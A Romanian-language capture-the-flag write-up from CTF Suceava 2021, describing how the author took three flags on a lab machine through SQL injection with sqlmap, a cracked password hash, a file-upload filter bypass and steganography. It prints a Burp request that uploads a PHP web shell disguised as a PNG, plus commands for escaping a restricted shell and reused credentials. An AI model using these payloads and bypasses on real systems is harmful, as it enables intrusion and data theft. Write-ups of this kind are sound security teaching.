CTF Suceava 2021

Autor: MTA

Sumar

<Grecia>: <La Casa de Papel>

Dovada obținerii flagului

Grecia: 8E37637DD148F664856719900C702BCA

Sumar

Exploatare SQL Injection

Dovada rezolvării

Foothold:

Am scanat reteaua, am gasit porturile 22,2222(ssh ambele), 8888,8090 (http) si 21538 (Tot server web, SpringBoot).

Pe 8888 se gasea un site cu tema MoneyHaste, unde puteam face o cautare in baza de date. Am incercat ca input ‘or’1’=’1 si a facut dump la tabela respective.

De aici am folosit sqlmap pentru a face dump la toata baza de date, unde am gasit flag-ul de la Grecia, o tabela care continea o singura intrare, respective folderol de upload pe care l-am folosit la urmatorul pas (obscureUploadFolder) si username-ul cu parola hashed a adminului.

Comanda folosita: sqlmap –r POST (fisierul unde am pus request-ul captat, pentru a face SQLi) –dump –batch(sa dea singur Yes la tot)

<Portugalia>: < La Casa de Papel >

Dovada obținerii flagului

PORTUGAL - 81629FA38B8AFFB236230140F29EEAFC

Sumar

MUUUULT fuzzing (13 ore de incercari esuate de a citi fisiere de config cu sqli ☹️ + citit de sourcecode); upload de fisiere unintended.

Dovada rezolvării

Dupa cum am spus mai sus, am gasit hash-ul parolei lui Rio, pe care l-am spart folosind CracStation si din care am scos parola MrMoneyMaker.

De aici ne-am logat si am incercat sa gasim ceva util pe site, dar de ieri (18.11.2021) de la ora 13 pana astazi (19.11.2021) ora 10:30 nu am gasit absolut nimic, doar multe fisiere de config ale Apache si SSH cu sqlmap, dar nu am ajuns nicaieri.

Dupa muuulte cautari am gasit in pagina “add-bank-details.php” un form hidden care facea un POST catre /admin/upload-hidden-from-your-fuzzing.php si care uploada imagini.

Am facut bypass la upload-ul de imagini prin folosirea unui MagicNumber PNG, al MIME-Type-ului image/png si al trunchierii numelor de fisiere la 255 de caractere. Practic am trimis un script php care avea ca nume 251 de caractere irelevante + .php + .png.

De aici am luat un reverse shell ca sa pot trimite mai usor comenzi si am gasit un fisier de config in care se afla o parola de conectare la baza de date, parola pe care am folosit-o si la conectarea pe user-ul Tokyo. Fisierul se gasea in /var/www/html/includes, iar parola este 'Beware0FP0sswordReuse'.

Request-ul din BURP cu file upload:

```
POST /admin/upload-hidden-from-your-fuzzing.php HTTP/1.1
Host: 172.16.50.104:8888
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp, */*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------398891771112515265086610246661
Content-Length: 629
Origin: http://172.16.50.104:8888
Connection: close
Referer: http://172.16.50.104:8888/admin/add-bank-detail.php
Cookie: PHPSESSID=1301fd1f84bdb4ad8cbd7f448c3a9477
Upgrade-Insecure-Requests: 1

-----------------------------398891771112515265086610246661
Content-Disposition: form-data; name="fileToUpload";
filename="Untitled3AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
.php.png"
Content-Type: image/png
%89 (aici am lasat asa ca sa se inteleaga ce am pus, nu era citibil in ASCII) PNG
<?php system($_GET['cmd') ?>
<?php

De aici am dat de un shell restrictiv, pe care l-am bypass-at prin conectarea la ssh fara profil.

Comanda folosita: ssh tokyo@172.16.50.104 -p2222 -t " bash --noprofile"

<Poland>: < La Casa de Papel >

Dovada obținerii flagului

POLAND - DC25B98DC3F46D8649FDA9CB029C0CC1

Sumar

Credentiale GitLab lasate in fisier + steganografie

Dovada rezolvării

Dupa ce am citit flag-ul pentru Portugalia din /home/tokyo/mysecret/flag(.txt parca), tot acolo era si un fisier cu numele bad_memory, in care se gasea parola de la gitlab (Toky0Rocks77). – ca idee, si mie imi pare rau ca a murit in serial, still rocks.

Aici se gaseau 2 repository-uri, unul in care se vorbea de ceva conexiune ssh (din pacate nu am gasit la timp user-ul care sa mearga ori cu parolele respective, ori cu cheia ssh, toate din Commit-uri, deci am ramas pe 2 :D), ori despre un tool de steganografie.

Am luat pozele de acolo si am incercat sa folosesc diferite tool-uri pentru a gasi secretul din spatele acestora, iar intr-un final am folosit zsteg cu argumentul -a, iar de acolo am scos si flag-ul de la Polonia.